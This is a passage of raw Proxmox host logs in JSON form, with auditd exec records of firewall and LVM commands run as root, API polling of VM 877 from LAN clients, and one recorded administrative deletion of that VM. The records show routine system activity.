gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995239,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965995.239:68008): arch=c000003e syscall=59 success=yes exit=0 a0=64806cef6d70 a1=64806cf02f40 a2=64806ced0680 a3=5 items=2 ppid=65306 pid=65312 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964385350,"@rawstring":"node=pve type=EXECVE msg=audit(1781964385.350:60786): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965184867,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:44 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781964369085,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964369.085:60729): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58311 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995128,"@rawstring":"node=pve type=EXECVE msg=audit(1781965995.128:67988): argc=1 a0=\"date\""} {"@timestamp":1781965735885,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965735.885:66889): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64245 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995234,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965995.234:68007): arch=c000003e syscall=59 success=yes exit=0 a0=648030872ac8 a1=7ffc28850a40 a2=64806ced0680 a3=64803085624e items=2 ppid=65306 pid=65308 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964385344,"@rawstring":"node=pve type=EXECVE msg=audit(1781964385.344:60785): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965184867,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:43 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 901"} {"@timestamp":1781964366198,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964366.198:60725): arch=c000003e syscall=59 success=no exit=-2 a0=7fff4d1c0ce0 a1=5cd0927f1310 a2=5cd0927ea680 a3=5 items=1 ppid=58304 pid=58305 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995122,"@rawstring":"node=pve type=EXECVE msg=audit(1781965995.122:67986): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965735877,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965735.877:66888): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64244 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995233,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965995.233:68006): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc28850a00 a1=64806cef2410 a2=64806ced0680 a3=5 items=2 ppid=65306 pid=65307 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964384659,"@rawstring":"node=pve type=EXECVE msg=audit(1781964384.659:60784): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965184867,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:43 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1103"} {"@timestamp":1781964365977,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964365.977:60707): arch=c000003e syscall=59 success=no exit=-2 a0=7ffefdc561a0 a1=6445bc20c310 a2=6445bc205680 a3=5 items=1 ppid=58285 pid=58286 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995115,"@rawstring":"node=pve type=EXECVE msg=audit(1781965995.115:67985): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965735868,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965735.868:66887): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64243 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995224,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965995.224:68004): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65306 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964384626,"@rawstring":"node=pve type=EXECVE msg=audit(1781964384.626:60783): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965183874,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:43 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 496"} {"@timestamp":1781964364070,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964364.070:60697): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58275 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995107,"@rawstring":"node=pve type=EXECVE msg=audit(1781965995.107:67984): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965735864,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965735.864:66886): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5ce2c2e6a740 items=0 ppid=1156 pid=64242 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965995215,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965995.215:68003): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65305 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964384152,"@rawstring":"node=pve type=EXECVE msg=audit(1781964384.152:60782): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965183874,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:42 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 500"} {"@timestamp":1781964364070,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964364.070:60696): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58275 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995102,"@rawstring":"node=pve type=EXECVE msg=audit(1781965995.102:67983): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965735862,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965735.862:66885): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc134460 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64242 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995207,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965995.207:68002): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65304 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964384145,"@rawstring":"node=pve type=EXECVE msg=audit(1781964384.145:60779): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965183874,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:42 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 929"} {"@timestamp":1781964364045,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964364.045:60694): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58274 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995092,"@rawstring":"node=pve type=EXECVE msg=audit(1781965995.092:67982): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965735855,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965735.855:66884): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0fd5d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64241 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995199,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965995.199:68001): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65303 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964379137,"@rawstring":"node=pve type=EXECVE msg=audit(1781964379.137:60776): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965182741,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:42 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964364045,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964364.045:60693): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58274 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995083,"@rawstring":"node=pve type=EXECVE msg=audit(1781965995.083:67981): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965735847,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965735.847:66883): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc140920 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64240 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995190,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965995.190:68000): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65302 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964379130,"@rawstring":"node=pve type=EXECVE msg=audit(1781964379.130:60773): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965182741,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:41 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 909"} {"@timestamp":1781964359030,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964359.030:60691): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58270 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995038,"@rawstring":"node=pve type=EXECVE msg=audit(1781965995.038:67980): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965735840,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965735.840:66882): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc143940 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64239 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995187,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965995.187:67999): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5d65f2f94740 items=0 ppid=1156 pid=65301 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964375332,"@rawstring":"node=pve type=EXECVE msg=audit(1781964375.332:60770): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965181730,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:41 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1092"} {"@timestamp":1781964359030,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964359.030:60690): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58270 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995031,"@rawstring":"node=pve type=EXECVE msg=audit(1781965995.031:67977): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965735833,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965735.833:66881): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc140920 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64238 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995184,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965995.184:67998): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc137f10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65301 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964375329,"@rawstring":"node=pve type=EXECVE msg=audit(1781964375.329:60769): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965181730,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:40 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1092"} {"@timestamp":1781964359017,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964359.017:60688): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58269 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965994239,"@rawstring":"node=pve type=EXECVE msg=audit(1781965994.239:67974): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965735828,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965735.828:66880): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fcea0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64237 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995178,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965995.178:67997): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f52f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65300 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964375328,"@rawstring":"node=pve type=EXECVE msg=audit(1781964375.328:60768): argc=1 a0=\"date\""} {"@timestamp":1781965181730,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:40 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 875"} {"@timestamp":1781964359016,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964359.016:60687): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58269 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965994208,"@rawstring":"node=pve type=EXECVE msg=audit(1781965994.208:67973): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965735819,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965735.819:66879): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64236 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995171,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965995.171:67996): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f52c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65299 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964375324,"@rawstring":"node=pve type=EXECVE msg=audit(1781964375.324:60766): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965180628,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:40 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 502"} {"@timestamp":1781964355833,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964355.833:60683): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe6862f520 a1=622558f30310 a2=622558f29680 a3=5 items=1 ppid=58262 pid=58263 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965990021,"@rawstring":"node=pve type=EXECVE msg=audit(1781965990.021:67972): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965735812,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965735.812:66878): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64235 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995166,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965995.166:67995): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0edae0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65298 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964375318,"@rawstring":"node=pve type=EXECVE msg=audit(1781964375.318:60765): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965180628,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:39 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781964355488,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964355.488:60665): arch=c000003e syscall=59 success=no exit=-2 a0=7fff303d5d90 a1=5758e2d0d310 a2=5758e2d06680 a3=5 items=1 ppid=58243 pid=58244 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965990008,"@rawstring":"node=pve type=EXECVE msg=audit(1781965990.008:67969): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965735807,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965735.807:66877): arch=c000003e syscall=59 success=yes exit=0 a0=57493f870b60 a1=57493f87ce80 a2=57493f84a680 a3=5 items=2 ppid=64228 pid=64234 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995159,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965995.159:67994): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f52c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65297 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964375312,"@rawstring":"node=pve type=EXECVE msg=audit(1781964375.312:60764): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965180628,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:39 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964353998,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964353.998:60655): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58233 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965987459,"@rawstring":"node=pve type=EXECVE msg=audit(1781965987.459:67966): argc=4 a0=\"/usr/bin/perl\" a1=\"/usr/bin/pvesh\" a2=\"delete\" a3=\"/nodes/pve/qemu/877\""} {"@timestamp":1781965735804,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965735.804:66876): arch=c000003e syscall=59 success=yes exit=0 a0=57490f207ac8 a1=7ffc3a88d260 a2=57493f84a680 a3=57490f1eb24e items=2 ppid=64228 pid=64230 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995153,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965995.153:67993): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 